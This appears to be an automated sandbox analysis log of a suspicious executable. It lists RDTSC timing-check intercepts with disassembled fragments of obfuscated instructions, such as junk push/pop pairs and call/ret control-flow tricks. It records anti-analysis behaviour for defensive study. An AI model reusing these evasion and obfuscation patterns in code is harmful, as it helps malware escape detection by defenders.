Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB91E6 second address: FB91F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB958FCD446h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB91F3 second address: FB9202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958B0701Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9202 second address: FB9206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB94F9 second address: FB94FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB94FD second address: FB9548 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 jmp 00007FB958FCD453h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FB958FCD459h 0x00000013 jnl 00007FB958FCD452h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9548 second address: FB9555 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB958B07016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64AA6 second address: F64AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64AAA second address: F64AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE95A second address: FBE964 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB958FCD446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B33 second address: F84B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84B37 second address: F84B82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d lea eax, dword ptr [ebp+12486849h] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB958FCD448h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D5ABBh], eax 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 pop eax 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8510D second address: F85113 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85113 second address: F8511A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8511A second address: DD1D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, ebx 0x0000000c push dword ptr [ebp+122D142Dh] 0x00000012 pushad 0x00000013 cld 0x00000014 add dword ptr [ebp+12448A47h], eax 0x0000001a popad 0x0000001b call dword ptr [ebp+122D1BCDh] 0x00000021 pushad 0x00000022 jmp 00007FB958B07024h 0x00000027 xor eax, eax 0x00000029 pushad 0x0000002a jbe 00007FB958B0701Ch 0x00000030 mov bx, 2835h 0x00000034 popad 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 jmp 00007FB958B0701Fh 0x0000003e mov dword ptr [ebp+122D3A7Ch], eax 0x00000044 stc 0x00000045 mov esi, 0000003Ch 0x0000004a jc 00007FB958B0701Ch 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 sub dword ptr [ebp+122D3374h], ecx 0x0000005a mov dword ptr [ebp+122D2BBDh], ebx 0x00000060 lodsw 0x00000062 jmp 00007FB958B0701Ch 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b stc 0x0000006c mov ebx, dword ptr [esp+24h] 0x00000070 jmp 00007FB958B0701Ch 0x00000075 nop 0x00000076 push edi 0x00000077 pushad 0x00000078 jng 00007FB958B07016h 0x0000007e jmp 00007FB958B07028h 0x00000083 popad 0x00000084 pop edi 0x00000085 push eax 0x00000086 push edx 0x00000087 push eax 0x00000088 push edx 0x00000089 jmp 00007FB958B07020h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F852E2 second address: F852FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958FCD457h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F852FD second address: F85345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FB958B07018h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D1B3Eh], edi 0x0000002e push eax 0x0000002f jns 00007FB958B07028h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85345 second address: F85349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F855F6 second address: F85606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8599F second address: F859CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 jo 00007FB958FCD459h 0x0000000f call 00007FB958FCD452h 0x00000014 pop ecx 0x00000015 push 0000001Eh 0x00000017 sub dword ptr [ebp+122D2269h], ecx 0x0000001d nop 0x0000001e push edi 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85D18 second address: F85D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007FB958B07027h 0x00000010 nop 0x00000011 mov cx, di 0x00000014 lea eax, dword ptr [ebp+1248688Dh] 0x0000001a jmp 00007FB958B0701Ah 0x0000001f nop 0x00000020 pushad 0x00000021 jnc 00007FB958B0701Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85D69 second address: F85DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB958FCD44Ch 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007FB958FCD45Fh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FB958FCD448h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edx, dword ptr [ebp+122D19FAh] 0x00000033 lea eax, dword ptr [ebp+12486849h] 0x00000039 jl 00007FB958FCD44Ch 0x0000003f mov edx, dword ptr [ebp+122D2226h] 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 jne 00007FB958FCD44Ch 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85DE5 second address: F64AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB958B07026h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FB958B07018h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a xor cx, BBBAh 0x0000002f call dword ptr [ebp+122D1AF0h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDB14 second address: FBDB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007FB958FCD44Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDEFD second address: FBDF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007FB958B0701Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE051 second address: FBE057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE057 second address: FBE067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB958B07016h 0x0000000a popad 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE1CB second address: FBE1E2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB958FCD446h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007FB958FCD44Eh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE356 second address: FBE36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958B0701Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE36B second address: FBE36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE36F second address: FBE373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE373 second address: FBE3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB958FCD446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 jg 00007FB958FCD446h 0x00000016 jp 00007FB958FCD446h 0x0000001c pop esi 0x0000001d jmp 00007FB958FCD456h 0x00000022 push edx 0x00000023 jmp 00007FB958FCD459h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC661A second address: FC661E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC661E second address: FC6643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FB958FCD44Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68CD second address: FC68D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68D1 second address: FC68D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68D5 second address: FC68DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68DB second address: FC68EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB958FCD44Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68EC second address: FC68F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC68F3 second address: FC691B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FB958FCD446h 0x00000011 jmp 00007FB958FCD457h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC691B second address: FC6928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6928 second address: FC6942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB958FCD44Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edi 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6942 second address: FC6968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B07029h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FB958B07016h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6325 second address: FC632A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7044 second address: FC707C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B07023h 0x00000009 jmp 00007FB958B07026h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FB958B07016h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC707C second address: FC7080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7080 second address: FC7084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7084 second address: FC7090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7090 second address: FC7096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7096 second address: FC70C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FB958FCD446h 0x00000011 jmp 00007FB958FCD457h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC721C second address: FC7222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7377 second address: FC7398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jc 00007FB958FCD446h 0x0000000b jc 00007FB958FCD446h 0x00000011 popad 0x00000012 push edi 0x00000013 jne 00007FB958FCD446h 0x00000019 pop edi 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC76C9 second address: FC76CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BAAB second address: F3BAC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jng 00007FB958FCD446h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB958FCD44Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD226D second address: FD2271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2271 second address: FD229D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jnp 00007FB958FCD46Fh 0x0000000d jmp 00007FB958FCD457h 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FB958FCD446h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD242D second address: FD2431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2549 second address: FD254D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD254D second address: FD2551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8585F second address: F8587B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958FCD458h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD298C second address: FD29DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB958B07024h 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FB958B0701Fh 0x00000015 jmp 00007FB958B0701Ah 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007FB958B0701Fh 0x00000023 jnl 00007FB958B07016h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD29DF second address: FD29E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD357E second address: FD3587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3587 second address: FD358D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6A69 second address: FD6A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6A6D second address: FD6A8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FB958FCD446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB958FCD452h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD62F0 second address: FD62FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD677E second address: FD6782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6782 second address: FD6786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6786 second address: FD67A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FB958FCD448h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB958FCD451h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAF5C second address: FDAF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAF62 second address: FDAF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAF6A second address: FDAF8D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB958B07016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB958B07025h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB299 second address: FDB2AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Ah 0x00000007 jl 00007FB958FCD44Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB2AD second address: FDB2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB2B7 second address: FDB2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FB958FCD452h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB2D4 second address: FDB2D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDA9F second address: FDDAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE35B5 second address: FE35E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B07023h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007FB958B0701Ah 0x00000011 jns 00007FB958B0701Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3728 second address: FE372C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE41B6 second address: FE41D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FB958B07020h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE41D0 second address: FE41D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE41D5 second address: FE41FD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB958B07018h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnc 00007FB958B0701Ch 0x00000011 jp 00007FB958B07016h 0x00000017 push edx 0x00000018 jmp 00007FB958B0701Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE41FD second address: FE421C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB958FCD456h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE44DE second address: FE44E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE44E3 second address: FE44FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB958FCD446h 0x00000009 push eax 0x0000000a pop eax 0x0000000b jns 00007FB958FCD446h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
